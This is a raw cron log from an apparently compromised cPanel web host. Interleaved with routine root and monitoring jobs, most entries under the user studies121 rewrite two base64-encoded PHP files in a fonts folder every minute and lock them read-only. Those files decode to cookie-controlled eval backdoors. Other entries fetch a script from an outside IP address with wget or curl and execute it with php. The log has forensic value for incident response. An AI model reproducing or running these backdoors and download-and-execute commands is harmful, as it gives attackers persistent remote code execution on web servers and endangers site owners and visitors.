Sep  5 13:12:01 ip-184-168-122-23 CROND[23514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:12:01 ip-184-168-122-23 CROND[23516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:12:01 ip-184-168-122-23 CROND[23517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:12:01 ip-184-168-122-23 CROND[23518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:13:01 ip-184-168-122-23 CROND[23659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:13:01 ip-184-168-122-23 CROND[23662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:13:01 ip-184-168-122-23 CROND[23660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:13:01 ip-184-168-122-23 CROND[23661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:14:01 ip-184-168-122-23 CROND[23791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:14:01 ip-184-168-122-23 CROND[23792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:14:01 ip-184-168-122-23 CROND[23793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:14:01 ip-184-168-122-23 CROND[23795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:14:01 ip-184-168-122-23 CROND[23796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:15:01 ip-184-168-122-23 CROND[23936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:15:01 ip-184-168-122-23 CROND[23937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:15:01 ip-184-168-122-23 CROND[23938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:15:01 ip-184-168-122-23 CROND[23939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:15:01 ip-184-168-122-23 CROND[23945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:15:01 ip-184-168-122-23 CROND[23946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:16:01 ip-184-168-122-23 CROND[24089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:16:01 ip-184-168-122-23 CROND[24087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:16:01 ip-184-168-122-23 CROND[24086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:16:01 ip-184-168-122-23 CROND[24090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:16:01 ip-184-168-122-23 CROND[24088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:16:01 ip-184-168-122-23 CROND[24091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:17:01 ip-184-168-122-23 CROND[24224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:17:01 ip-184-168-122-23 CROND[24226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:17:01 ip-184-168-122-23 CROND[24225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:17:01 ip-184-168-122-23 CROND[24228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:18:01 ip-184-168-122-23 CROND[24424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:18:01 ip-184-168-122-23 CROND[24425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:18:01 ip-184-168-122-23 CROND[24428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:18:01 ip-184-168-122-23 CROND[24427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:18:01 ip-184-168-122-23 CROND[24426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:19:02 ip-184-168-122-23 CROND[24591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:19:02 ip-184-168-122-23 CROND[24593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:19:02 ip-184-168-122-23 CROND[24592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:19:02 ip-184-168-122-23 CROND[24594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24701]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:20:01 ip-184-168-122-23 CROND[24709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:20:01 ip-184-168-122-23 CROND[24712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:21:01 ip-184-168-122-23 CROND[24835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:21:01 ip-184-168-122-23 CROND[24836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:21:01 ip-184-168-122-23 CROND[24834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:21:01 ip-184-168-122-23 CROND[24837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:22:01 ip-184-168-122-23 CROND[24961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:22:01 ip-184-168-122-23 CROND[24960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:22:01 ip-184-168-122-23 CROND[24962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:22:01 ip-184-168-122-23 CROND[24964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:22:01 ip-184-168-122-23 CROND[24963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:23:01 ip-184-168-122-23 CROND[25097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:23:01 ip-184-168-122-23 CROND[25098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:23:01 ip-184-168-122-23 CROND[25100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:23:01 ip-184-168-122-23 CROND[25099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:24:01 ip-184-168-122-23 CROND[25199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
